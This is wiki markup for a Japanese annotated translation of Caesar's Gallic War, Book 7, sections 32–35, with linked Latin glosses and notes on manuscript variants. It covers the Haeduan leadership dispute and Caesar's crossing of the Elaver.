**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系･&amp;beta;系写本では [[wikt:en:reficit#Latin|reficit]]&lt;sub&gt;&amp;nbsp;(現在形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;phi;系写本では [[wikt:en:refecit#Latin|refecit]]&lt;sub&gt;&amp;nbsp;(完了形)&lt;/sub&gt; となっている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Iam [[wikt:en:prope#Adverb|prope]] [[wikt:en:hiems#Latin|hieme]] [[wikt:en:confectus#Latin|confecta]], 
**すでに、ほぼ冬は過ぎ去り、
*cum ipso anni tempore ad [[wikt:en:gerendus#Latin|gerendum]] bellum [[wikt:en:vocaretur#Latin|vocaretur]] et ad hostem [[wikt:en:proficisci#Latin|proficisci]] [[wikt:en:constituisset#Latin|constituisset]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;まさにその時季に戦争を遂行するために呼び寄せられて、敵の方へ発つことを決意していたときに、
*&lt;u&gt;sive&lt;/u&gt; eum ex [[wikt:en:palus#Latin|paludibus]] [[wikt:en:silva#Latin|silvis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:elicio#Latin|elicere]] &lt;u&gt;sive&lt;/u&gt; [[wikt:en:obsidio#Latin|obsidione]] [[wikt:en:premo#Latin|premere]] [[wikt:en:posset#Latin|posset]], 
**&lt;u&gt;あるいは&lt;/u&gt;&lt;small&gt;（敵を）&lt;/small&gt;沼地や森林から誘い出せるか、&lt;u&gt;あるいは&lt;/u&gt;包囲により圧倒することができるか、というときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：sive ～ sive …「あるいは～、あるいは…」）&lt;/span&gt;
*[[wikt:en:legatus#Latin:_noun|legati]] ad eum [[wikt:en:princeps#Latin:_noun|principes]] [[wikt:en:Haedui#Latin|Haeduorum]] [[wikt:en:veniunt#Latin|veniunt]] 
**[[w:ハエドゥイ族|ハエドゥイー族]]の領袖たちが使節として彼&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへやって来る。
*[[wikt:en:oratum#Latin:_supine|oratum]], ut maxime [[wikt:en:necessarius#Latin:_unavoidable|necessario]] tempore [[wikt:en:civitas#Latin|civitati]] [[wikt:en:subveniat#Latin|subveniat]]&lt;!--;--&gt;: 
**きわめて緊急の時に、部族を助けてくれるように、と頼むために。

:　
;　　　ハエドゥイー族の救援要請（以下、間接話法）
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:summus#Latin|summo]] esse in [[wikt:en:periculum#Latin|periculo]] rem, 
**事態は最大の危機にある。
*quod, cum [[wikt:en:singulus#Latin|singuli]] [[wikt:en:magistratus#Latin|magistratus]] [[wikt:en:antiquitus#Latin|antiquitus]] [[wikt:en:creari#Latin|creari]] atque [[wikt:en:regius#Latin|regiam]] [[wikt:en:potestas#Latin|potestatem]] &lt;u&gt;annum&lt;/u&gt; [[wikt:en:obtineo#Latin|obtinere]] [[wikt:en:consuessent#Latin|consuessent]], 
**──というのは、昔から一人ずつの統領が選出されて、一年ごとに支配権力に就くことが常であったのに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第1巻#16節|第1巻16節]]によれば、ウェルゴブレトゥス [[w:la:Vergobretus|Vergobretus]]という最高官職が毎年選ばれて大権を司る。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:annum#Latin|annum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:annuam#Adjective|annuam]] となっている。）&lt;/span&gt;
*duo [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:gerant#Latin|gerant]] 
**2名が統領を司り、
*et se [[wikt:en:uterque#Latin|uterque]] eorum legibus &lt;u&gt;creatum esse&lt;/u&gt; [[wikt:en:dicat#Latin:_speak|dicat]]. 
**彼らの双方ともに自分は法により&lt;small&gt;〔合法的に〕&lt;/small&gt;選出されたのであると言っているのだから──。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:creatus#Latin|creatum]] esse だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では esse は省かれている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
{{wikipedia|en:Convictolitavis}}
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Horum esse alterum [[wikt:en:Convictolitavis#Latin|Convictolitavem]], [[wikt:en:florens#Latin|florentem]] et [[wikt:en:inlustris#Latin|inlustrem]] [[wikt:en:adulescens#Noun|adulescentem]]&lt;!--,--&gt;; 
**彼らの一方は、コンウィクトリタウィスで、声望があり、秀でた青年である。
*alterum [[wikt:en:Cotus#Latin|Cotum]], [[wikt:en:antiquissimus#Latin|antiquissima]] familia [[wikt:en:natus#Latin:_born|natum]] 
**他方は、コトゥスで、とても古くからの家系に生まれて、
*atque ipsum hominem summae [[wikt:en:potentia#Latin|potentiae]] et magnae [[wikt:en:cognatio#Latin|cognationis]], 
**自身も最大勢力と多くの縁戚関係をもつ人物であり、
*cuius frater Valetiacus proximo anno eundem [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:gesserit#Latin|gesserit]]. 
**その兄弟ウァレティアクスは前年に同じ統領を司っていたのである。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Civitatem esse omnem in [[wikt:en:arma#Latin|armis]]; 
**部族は皆が武装している。
*[[wikt:en:divisus#Latin|divisum]] [[wikt:en:senatus#Latin|senatum]], divisum [[wikt:en:populus#Latin:_people|populum]], &lt;u&gt;suas&lt;/u&gt; [[wikt:en:cuiusque#Latin|cuiusque]] eorum [[wikt:en:clientela#Latin|clientelas]]. 
**評議会も分裂し、民衆も分裂し、彼ら&lt;small&gt;〔2名〕&lt;/small&gt;の&lt;small&gt;（それぞれの）&lt;/small&gt;庇護民となっている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の suas は主要写本&amp;omega;の記述だが、より劣った写本では in suas となっている。）&lt;/span&gt;
*[[wikt:en:quodsi#Latin|Quodsi]] [[wikt:en:diutius#Latin|diutius]] [[wikt:en:alatur#Latin|alatur]] [[wikt:en:controversia#Latin|controversia]], 
**もしこれ以上、紛争が進められれば、
*fore uti pars cum parte civitatis [[wikt:en:confligat#Latin|confligat]]. 
**部族の派閥と派閥が激突することになるであろう。
*Id ne [[wikt:en:accidat#Etymology_1|accidat]], [[wikt:en:positus#Latin|positum]] in eius [[wikt:en:diligentia#Latin|diligentia]] atque [[wikt:en:auctoritas#Latin|auctoritate]].
**それが起こらないかは、彼（カエサル）の入念さと影響力にかかっている。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===33節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/33節]]　{{進捗|00%|2026-10-04}}&lt;/span&gt;
;カエサルがハエドゥイー族の権力をコンウィクトリタウィスに与える

:　
;　　　カエサルが、ハエドゥイー族の内紛を危惧する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar, &lt;u&gt;etsi&lt;/u&gt; a bello atque hoste [[wikt:en:discedo#Latin|discedere]] [[wikt:en:detrimentosus#Latin|detrimentosum]] esse [[wikt:en:existimabat#Latin|existimabat]], 
**カエサルは、戦争や敵から離れることは損害をもたらすものである、と考えていたのではあるが、
*&lt;u&gt;tamen&lt;/u&gt; non [[wikt:en:ignorans#Latin|ignorans]], [[wikt:en:quantus#Latin|quanta]] ex [[wikt:en:dissensionibus#Latin|dissensionibus]] [[wikt:en:incommodum#Noun|incommoda]] [[wikt:en:oriri#Latin|oriri]] [[wikt:en:consuessent#Latin|consuessent]], 
**しかしながら、[[wikt:ja:内訌|内訌]]からどれほどの災厄が生じることが常であるか、知らないではなかったし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～, [[wikt:en:tamen#Latin|tamen]] …「～ではあるが、しかしながら…」）&lt;/span&gt;
*ne [[wikt:en:tantus#Latin|tanta]] et [[wikt:en:tam#Latin|tam]] [[wikt:en:coniunctus#Latin:_participle|coniuncta]] [[wikt:en:populus#Latin|populo]] [[wikt:en:Romanus#Adjective|Romano]] [[wikt:en:civitas#Latin|civitas]], 
**──これほど大きく、これほどローマ人民と協同している&lt;small&gt;（ハエドゥイーの）&lt;/small&gt;{{ruby|部族国家|キーウィタース}}が、
*quam ipse semper [[wikt:en:aluisset#Latin|aluisset]] [[wikt:en:omnis#Latin|omnibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; rebus [[wikt:en:ornasset#Latin|ornasset]], 
**彼らのことを&lt;small&gt;（カエサル）&lt;/small&gt;自身は常に助成して、かつあらゆる事柄で敬意を表していたのだが、
*ad [[wikt:en:vis#Latin|vim]] atque [[wikt:en:arma#Latin|arma]] [[wikt:en:descenderet#Latin|descenderet]], 
**&lt;small&gt;（彼らが内紛という）&lt;/small&gt;暴力や戦乱に沈み込まないように、
*atque ea pars, quae [[wikt:en:minus#Latin:_adverb|minus]] sibi [[wikt:en:confideret#Latin|confideret]], [[wikt:en:auxilia#Latin|auxilia]] a [[wikt:en:Vercingetorix#Latin|Vercingetorige]] [[wikt:en:arcesseret#Latin|arcesseret]], 
**かつ、自分たちにとって劣勢だと確信している一派が[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の支援を呼び寄せないように──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne ～ civitas, ～ descenderet, ～ arcesseret「～部族が、～沈まないように、～招かないように」）&lt;/span&gt;
*huic rei [[wikt:en:praevertendus#Latin|praevertendum]] [[wikt:en:existimavit#Latin|existimavit]], 
**この事柄は&lt;small&gt;（戦争遂行よりも）&lt;/small&gt;優先されるべき、と考えた。
:　
;　　　ハエドゥイー族の内紛を沙汰すべく、カエサル自らが赴く
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; et, quod [[wikt:en:lex#Latin|legibus]] [[wikt:en:Haedui#Latin|Haeduorum]] iis, qui summum [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:obtinerent#Latin|obtinerent]], [[wikt:en:excedo#Latin|excedere]] ex finibus non [[wikt:en:liceret#Latin|liceret]], 
**──というのは、[[w:ハエドゥイ族|ハエドゥイー族]]の法により、最高官職に就いている者は領土から出ることを許されないので──
*ne [[wikt:en:aliquid#Latin:_pronoun|quid]] de [[wikt:en:ius#Latin:_justice|iure]] aut de [[wikt:en:lex#Latin|legibus]] eorum [[wikt:en:deminuisse#Latin|deminuisse]] [[wikt:en:videretur#Latin|videretur]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;彼らの法令あるいは法制について何ら軽視したとは思われないように、

[[画像:FR-58-Decize29.JPG|thumb|right|250px|デケティア（[[w:la:Decetia|Decetia]]）すなわち現在のドスィーズ（[[w:fr:Decize|Decize]]）の景観。[[w:ハエドゥイ族|ハエドゥイー族]]の版図であった[[w:ニエーヴル県|ニエーヴル県]]の南部にあり、リゲル川（現[[w:ロワール川|ロワール川]]）のほとりに位置している。]]

*ipse in [[wikt:en:Haedui#Latin|Haeduos]] [[wikt:en:proficisci#Latin|proficisci]] [[wikt:en:statuit#Latin|statuit]] 
**&lt;small&gt;（カエサル）&lt;/small&gt;自身がハエドゥイー族のもとに出発することを決心した。
*[[wikt:en:senatus#Latin|senatum]]&lt;nowiki&gt;que&lt;/nowiki&gt; omnem et &lt;u&gt;quos inter [[wikt:en:controversia#Latin|controversia]] [[wikt:en:esset#Latin:_be|esset]]&lt;/u&gt; 
**かつ、&lt;u&gt;評議会&lt;/u&gt;の全員、および紛争が介在しているところの者たちを
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：部族国家の合議制統治機関を、カエサルの『ガリア戦記』では&lt;br&gt;　　　　ローマの元老院になぞらえて [[wikt:en:senatus#Latin|senatus]] と呼んでいるが、&lt;br&gt;　　　　区別して「評議会」と訳す。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：quos inter ～ は、関係節の関係代名詞 quos が&lt;br&gt;　　　　　　　　　　　前置詞 inter の前に出ている語順。）&lt;/span&gt;
*ad se [[wikt:en:Decetia#Latin|Decetiam]] [[wikt:en:evocavit#Latin|evocavit]]. 
**デケティアの自分&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへ呼び出した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：デケティア [[w:la:Decetia|Decetia]] は、現在の[[w:en:Decize|Decize]] ドシーズ（ドゥスィズ&lt;ref&gt;Decize の発音は [[wikt:fr:Decize|Decize]] を参照せよ。&lt;/ref&gt;）であると考えられている。）&lt;/span&gt;

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Cum prope omnis civitas eo [[wikt:en:convenisset#Latin|convenisset]], [[wikt:en:doceretur#Latin|doceretur]]&lt;nowiki&gt;que&lt;/nowiki&gt; 
**部族のほぼすべての&lt;small&gt;（主だった）&lt;/small&gt;者たちがそこに集まっていたときに、&lt;small&gt;（以下のことが）&lt;/small&gt;報知された。
*[[wikt:en:paucus#Latin|paucis]] [[wikt:en:clam#Latin|clam]] [[wikt:en:convocatus#Latin|convocatis]] [[wikt:en:alius#Latin|alio]] loco, [[wikt:en:alius#Latin|alio]] tempore atque [[wikt:en:oportuerit#Latin|oportuerit]], 
**わずかな者たちが密かに、あるべきはずとは別の場所、別の時に呼び集められて、
*[[wikt:en:fratrem#Latin|fratrem]] a [[wikt:en:fratre#Latin|fratre]] [[wikt:en:renuntiatus#Latin|renuntiatum]] &lt;span style=&quot;color:#009900;&quot;&gt;[esse]&lt;/span&gt;, 
**兄により弟&lt;small&gt;（の就位）&lt;/small&gt;が告げられたというのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：前年に統領であった兄ウァレティアクスによって&lt;br&gt;　　　　弟コトゥスの統領への就位が告げられたということであろう。）&lt;/span&gt;
*&lt;span style=&quot;font-size:11pt;&quot;&gt;cum leges &lt;u&gt;duo&lt;/u&gt; ex una familia [[wikt:en:vivus#Latin|vivo]] [[wikt:en:utroque#Latin|utroque]] &lt;u&gt;non solum&lt;/u&gt; [[wikt:en:magistratus#Latin|magistratus]] [[wikt:en:creari#Latin|creari]] [[wikt:en:vetarent#Latin|vetarent]], &lt;u&gt;sed etiam&lt;/u&gt; in [[wikt:en:senatus#Latin|senatu]] esse [[wikt:en:prohiberent#Latin|prohiberent]],&lt;/span&gt; 
**&lt;span style=&quot;font-size:11pt;&quot;&gt;──法が、一家族の2名が双方とも存命中に、統領に選出されるのを禁じるだけでなく、&lt;u&gt;評議会&lt;/u&gt;にいることも禁じているのに──&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：non [[wikt:en:solum#Latin:_adverb|solum]] ～ [[wikt:en:sed#Latin|sed]] [[wikt:en:etiam#Latin|etiam]] …「～のみならず、…もまた」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;･&amp;beta;系写本や写本B･M･Sでは [[wikt:en:duo#Latin|duo]] だが、&lt;br&gt;　　　　　　　　　写本L･Nでは [[wikt:en:duos#Latin|duos]] となっている。）&lt;/span&gt;
*[[wikt:en:Cotus#Latin|Cotum]] [[wikt:en:imperium#Latin|imperium]] [[wikt:en:depono#Latin|deponere]] [[wikt:en:coegit#Latin|coegit]]&lt;!--,--&gt;; 
**（カエサルは）コトゥスに支配権を放棄することを強要した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:Convictolitavis#Latin|Convictolitavem]], qui per [[wikt:en:sacerdos#Latin|sacerdotes]] [[wikt:en:mos#Latin|more]] [[wikt:en:civitas#Latin|civitatis]] [[wikt:en:intermissus#Latin|intermissis]] [[wikt:en:magistratus#Latin|magistratibus]] [[wikt:en:esset#Latin:_be|esset]] [[wikt:en:creatus#Latin|creatus]], 
**コンウィクトリタウィスは、統領が空位になったときに、部族の規則により、&lt;u&gt;祭司&lt;/u&gt;を通じて選出されたので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ここでいう祭司 sacerdos が[[ガリア戦記 第6巻#13節|第6巻13節]]以下で説明された[[w:ドルイド|ドルイド]]と同じか否かは不詳である。）&lt;/span&gt;
*[[wikt:en:potestas#Latin|potestatem]] [[wikt:en:obtineo#Latin|obtinere]] [[wikt:en:iussit#Latin|iussit]].
**&lt;small&gt;（カエサルは彼に）&lt;/small&gt;権力の座に就くことを命じた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===34節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/34節]]　{{進捗|00%|2026-10-18}}&lt;/span&gt;
;ハエドゥイー族を動員し、ローマ軍をカエサルとラビエーヌスの二隊に分散

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Hoc [[wikt:en:decretum#Latin|decreto]] [[wikt:en:interpositus#Latin|interposito]], 
**この裁定を裁決すると、
*[[wikt:en:cohortatus#Latin|cohortatus]] [[wikt:en:Haedui#Latin|Haeduos]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:ハエドゥイ族|ハエドゥイー族]]を&lt;small&gt;（以下のように）&lt;/small&gt;激励して、
*ut [[wikt:en:controversia#Latin|controversiarum]] ac [[wikt:en:dissensio#Latin|dissensionis]] [[wikt:en:obliviscerentur#Latin|obliviscerentur]] 
**&lt;span style=&quot;color:#009900;font-size:20pt;&quot;&gt;【&lt;/span&gt;&lt;small&gt;（部族内部の）&lt;/small&gt;論争や不和を忘れるように、
*atque, omnibus [[wikt:en:omissus#Latin|omissis]] his rebus 
**かつ、これらすべての事情を度外視して、
*huic bello [[wikt:en:servirent#Latin|servirent]], 
**&lt;small&gt;（ウェルキンゲトリークスとの）&lt;/small&gt;この戦争に尽くすように、
*&lt;u&gt;[[wikt:en:ea#Latin:_things|ea]]&lt;nowiki&gt;que&lt;/nowiki&gt;, quae&lt;/u&gt; [[wikt:en:meruissent#Latin|meruissent]], [[wikt:en:praemium#Latin|praemia]] ab se [[wikt:en:devictus#Latin|devicta]] Gallia [[wikt:en:exspectarent#Latin|exspectarent]], 
**ガッリアが征服されたときには&lt;small&gt;（彼らが）&lt;/small&gt;得るに値する自分&lt;small&gt;〔カエサル〕&lt;/small&gt;からの恩賞を期待するように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:ea#Latin:_things|ea]]&lt;nowiki&gt;que&lt;/nowiki&gt; quae は、最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|ed. pr.]] による修正で、&lt;br&gt;　　　　　　　　&amp;alpha;系・&amp;rho;系写本では [[wikt:en:ea#Latin:_things|ea]] quae &lt;br&gt;　　　　　　　　&amp;pi;系写本では atque quae となっている。）&lt;/span&gt;
*[[wikt:en:equitatus#Latin:_cavalry|equitatum]]&lt;nowiki&gt;que&lt;/nowiki&gt; omnem et [[wikt:en:pedes#Latin|peditum]] [[wikt:en:mille#Latin|milia]] X([[wikt:en:decem#Latin|decem]]) sibi celeriter [[wikt:en:mitterent#Latin|mitterent]], 
**&lt;small&gt;（ハエドゥイー族の）&lt;/small&gt;騎兵隊のすべてと歩兵1万名を自分&lt;small&gt;〔カエサル〕&lt;/small&gt;に速やかに派遣するように、
*quae in [[wikt:en:praesidium#Latin|praesidiis]] rei [[wikt:en:frumentarius#Latin|frumentariae]] causa [[wikt:en:disponeret#Latin|disponeret]], 
**それらは糧食供給のために守備隊として分けて置くものである、と&lt;span style=&quot;color:#009900;font-size:20pt;&quot;&gt;】&lt;/span&gt;
*[[wikt:en:exercitus#Latin:_noun|exercitum]] in duas partes [[wikt:en:divisit#Latin|divisit]]: 
**&lt;small&gt;（カエサルは）&lt;/small&gt;軍隊を二つの方面軍に分けた。

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:quattuor#Latin|quattuor]] [[wikt:en:legio#Latin|legiones]] in [[wikt:en:Senones#Latin|Senones]] [[wikt:en:Parisii#Latin|Parisios]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Labienus#Latin|Labieno]] [[wikt:en:ducendus#Latin|ducendas]] [[wikt:en:dedit#Latin|dedit]], 
**4個[[w:ローマ軍団|軍団]]をセノネース族やパリスィイー族のところに率いて行くべく[[w:ティトゥス・ラビエヌス|ラビエーヌス]]に委ねた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ラビエーヌス [[w:la:Titus Labienus|Labienus]] のこの遠征については&lt;br&gt;　　　　[[#57節|57節]]～62節で述べられる。）&lt;/span&gt;
*[[wikt:en:sex#Latin|sex]] ipse in [[wikt:en:Arverni#Latin|Arvernos]] ad oppidum [[wikt:en:Gergovia#Latin|Gergoviam]] 
**6個&lt;small&gt;（軍団）&lt;/small&gt;を自身&lt;small&gt;〔カエサル〕&lt;/small&gt;がアルウェルニー族のところの城塞都市ゲルゴウィアへ
*[[wikt:en:secundum#Preposition_2|secundum]] flumen [[wikt:en:Elaver#Latin|Elaver]] [[wikt:en:duxit#Latin|duxit]]; 
**エラウェル川に沿って率いて行った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：エラウェル川 [[w:la:Elaver|Elaver]] は現在の[[w:アリエ川|アリエ川]] Allier である。）&lt;/span&gt;
[[画像:Brioude pont.JPEG|thumb|right|250px|エラウェル川（[[w:la:Elaver|Elaver]]）こと現在の[[w:アリエ川|アリエ川]]（Allier）。ハエドゥイー族領の境辺りでリゲル川（[[w:la:Liger|Liger]]）こと現[[w:ロワール川|ロワール川]]（[[w:fr:Loire|Loire]]）に合流する。]]
*[[wikt:en:equitatus#Latin:_cavalry|equitatus]] partem illi [[wikt:en:adtribuit#Latin|adtribuit]], 
**騎兵隊の一部を彼&lt;small&gt;〔ラビエーヌス〕&lt;/small&gt;に割り当てて、
*partem sibi [[wikt:en:reliquit#Latin|reliquit]]. 
**&lt;small&gt;（別の）&lt;/small&gt;一部を自分&lt;small&gt;〔カエサル〕&lt;/small&gt;に残した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Qua re [[wikt:en:cognitus#Participle|cognita]] 
**その事を知ると、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は
*omnibus [[wikt:en:interruptus#Latin|interruptis]] eius fluminis [[wikt:en:pons#Latin|pontibus]] 
**その川のすべての橋を破却すると、
*ab [[wikt:en:alter#Latin|altera]] fluminis parte [[wikt:en:iter#Latin|iter]] facere [[wikt:en:coepit#Latin|coepit]].
**川の別の側を行軍し始めた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===35節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/35節]]　{{進捗|00%|2026-10-25}}&lt;/span&gt;
;カエサルが陽動によってエラウェル川に架橋、渡河する

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum uterque &lt;u&gt;utrimque exisset exercitus&lt;/u&gt;, in conspectu, fereque &lt;u&gt;e regione&lt;/u&gt; castris castra &lt;u&gt;ponebant&lt;/u&gt;, 
**&lt;small&gt;（ガッリア勢とローマ勢の）&lt;/small&gt;軍隊の双方が互いに視界にあって、ほぼ真向かいに互いの陣営を設置したときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：一つ目の下線部は、&amp;alpha;系写本では utrimque exisset exercitus だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本では utrique esset exercitui となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：三つ目の下線部は、&amp;alpha;系写本では ponebant だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本では poneret となっている。）&lt;/span&gt;
*dispositis exploratoribus, necubi effecto ponte Romani copias traducerent. 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;ローマ人の軍勢がどこにも橋を造って渡河しないように、偵察者たちを分けて置き、

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Erat in magnis &lt;u&gt;Caesari&lt;/u&gt; difficultatibus res, 
**カエサルにとって事態は大きな困難になっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;pi;系写本では Caesari だが、&lt;br&gt;　　　　&amp;alpha;系写本などでは Caesaris となっている。）&lt;/span&gt;
*ne maiorem aestatis partem flumine impediretur, 
**夏の大部分にわたって&lt;small&gt;（対岸の敵との交戦が）&lt;/small&gt;川により妨げられるのではないか、
*quod non fere ante autumnum Elaver vado transiri solet. 
**──というのは、[[w:アリエ川|エラウェル川]]は秋の前はほとんど浅瀬を渡らない習わしであったからだ──。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Itaque, ne id accideret, 
**こうして、そのことが生じないように、
*silvestri loco castris positis 
**森林地帯に陣営を設置すると、
*&lt;u&gt;e regione&lt;/u&gt; unius eorum pontium, quos Vercingetorix rescindendos curaverat, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が切り裂かれるように手配していたところの橋の一つの真向かいに。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
*postero die cum duabus legionibus &lt;u&gt;in occulto&lt;/u&gt; restitit; 
**翌日に、2個[[w:ローマ軍団|軍団]]とともに密かなところに留まった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_occulto#Latin|in occulto]]「ひそかに」「隠れた所で」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; reliquas copias cum omnibus impedimentis, ut consueverat, misit, 
**残りの軍勢&lt;small&gt;&lt;/small&gt;（＝4個軍団）をすべての輜重とともに、通常のように、出発させた。
*&lt;u&gt;captis&lt;/u&gt; quibusdam cohortibus, uti numerus legionum constare videretur. 
**軍団の数を保っていると（敵から）見られるように、いくつかの&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を含ませていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では captis だが、&lt;br&gt;　　　　写本Rの一部では carptis となっており、&lt;br&gt;　　　　校訂版により、apertis、distractis、sic collocatis などさまざまな修正提案がある。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; His, quam longissime possent, &lt;u&gt;egredi&lt;/u&gt; iussis, 
**彼ら（4個軍団）には、できる限り遠くまで前進することを命じた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では egredi だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では progredi となっている。）&lt;/span&gt;

*cum iam ex diei tempore coniecturam &lt;u&gt;ceperat&lt;/u&gt; in castra perventum, 
**すでに、日の時刻から（彼らが）宿営地に到達したと（カエサルが）推測をしたときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では ceperat だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では caperet となっている。）&lt;/span&gt;

*isdem sublicis, quarum pars inferior integra remanebat, pontem reficere coepit. 
**（前述の）同じ橋杭は、そのより下方の部分が損なわれないで残っていたので、橋を修復し始めた。

:　&lt;!--　[[wikt:en:|　--&gt;
